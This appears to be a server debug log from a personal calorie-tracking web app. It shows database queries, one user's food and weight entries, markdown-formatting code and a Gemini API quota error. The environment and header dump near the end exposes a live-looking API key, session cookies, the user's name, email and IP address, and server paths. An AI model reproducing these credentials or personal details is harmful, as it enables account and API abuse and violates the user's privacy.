      'No clear indication of a balanced macronutrient profile across the day.',
      'Meal timing is not comprehensively represented.'
    ],
    good_points: [
      'Post-workout protein intake is addressed with whey.',
      'Inclusion of healthy fats from walnuts.'
    ],
    suggestions: [
      'Incorporate a variety of protein sources throughout the day, including lean meats, fish, legumes, and dairy.',
      'Ensure adequate intake of complex carbohydrates from whole grains, fruits, and vegetables to fuel workouts and aid recovery.',
      'Include sources of fiber and micronutrients through a wider range of plant-based foods.',
      'Distribute meals and snacks more evenly to maintain consistent energy and support muscle protein synthesis.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady slight loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T04:32:33.918Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T04:32:33.919Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T04:32:33.919Z server-connect:app Executing action step select
2025-12-17T04:32:33.919Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T04:32:33.920Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  }
]
2025-12-17T04:32:33.920Z server-connect:app Executing action step setvalue
2025-12-17T04:32:33.920Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T04:32:33.921Z server-connect:output var_total: 291
2025-12-17T04:32:33.921Z server-connect:app Executing action step setvalue
2025-12-17T04:32:33.921Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T04:32:33.921Z server-connect:output var_consumed: 12
2025-12-17T04:32:33.921Z server-connect:app Executing action step setvalue
2025-12-17T04:32:33.921Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T04:32:33.921Z server-connect:output var_deficit: 2109
2025-12-17T04:32:33.921Z server-connect:app Executing action step custom
2025-12-17T04:32:33.921Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T04:32:33.922Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '291',
    surplus_or_deficit: '2109',
    status_flag: 2
  }
]
2025-12-17T04:32:34.373Z server-connect:app Executing action step identify
2025-12-17T04:32:34.374Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:34.374Z server-connect:output identity: 1
2025-12-17T04:32:37.695Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-17T04:32:37.696Z server-connect:app Executing action step identify
2025-12-17T04:32:37.696Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:37.696Z server-connect:output identity: 1
2025-12-17T04:32:37.696Z server-connect:app Executing action step restrict
2025-12-17T04:32:37.696Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T04:32:37.696Z server-connect:output restrict: undefined
2025-12-17T04:32:37.696Z server-connect:app Executing action step select
2025-12-17T04:32:37.696Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-17T04:32:37.697Z server-connect:output items_consumed_today: [
  {
    id: 417,
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)'
  },
  {
    id: 418,
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)'
  },
  {
    id: 419,
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)'
  },
  {
    id: 420,
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)'
  }
]
2025-12-17T04:32:37.697Z server-connect:app Executing action step paged
2025-12-17T04:32:37.697Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-17T04:32:37.699Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 13,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-17T04:32:37.699Z server-connect:app Executing action step run
2025-12-17T04:32:37.699Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T04:32:37.700Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '| 420 | Banana | 89 | 1 | 23 | 0 | 1 (approx 100g edible portion, medium size) |\n' +
  '\n'
2025-12-17T04:32:37.700Z server-connect:app Executing action step run
2025-12-17T04:32:37.701Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T04:32:37.701Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T04:32:37.701Z server-connect:app Executing action step setvalue
2025-12-17T04:32:37.701Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-17T04:32:37.701Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '| 420 | Banana | 89 | 1 | 23 | 0 | 1 (approx 100g edible portion, medium size) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-17T04:32:37.701Z server-connect:app Executing action step processWithGemini
2025-12-17T04:32:37.701Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
Error processing meal_summary data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash-lite\\nPlease retry in 22.11059958s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-flash-lite\",\n              \"location\": \"global\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"22s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-17T04:32:37.910Z server-connect:output Error at health_summary: Error: Failed to process meal_summary data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash-lite\\nPlease retry in 22.11059958s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-flash-lite\",\n              \"location\": \"global\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"22s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T04:32:37.910Z server-connect:server Got error? Error: Failed to process meal_summary data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash-lite\\nPlease retry in 22.11059958s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-flash-lite\",\n              \"location\": \"global\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"22s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T04:32:41.554Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T04:32:41.554Z server-connect:app Executing action step identify
2025-12-17T04:32:41.554Z server-connect:app options: { provider: 'security' }
2025-12-17T04:32:41.554Z server-connect:output identity: 1
2025-12-17T04:32:41.554Z server-connect:app Executing action step restrict
2025-12-17T04:32:41.554Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T04:32:41.555Z server-connect:output restrict: undefined
2025-12-17T04:32:41.555Z server-connect:router Render template layouts/main
2025-12-17T04:32:41.555Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
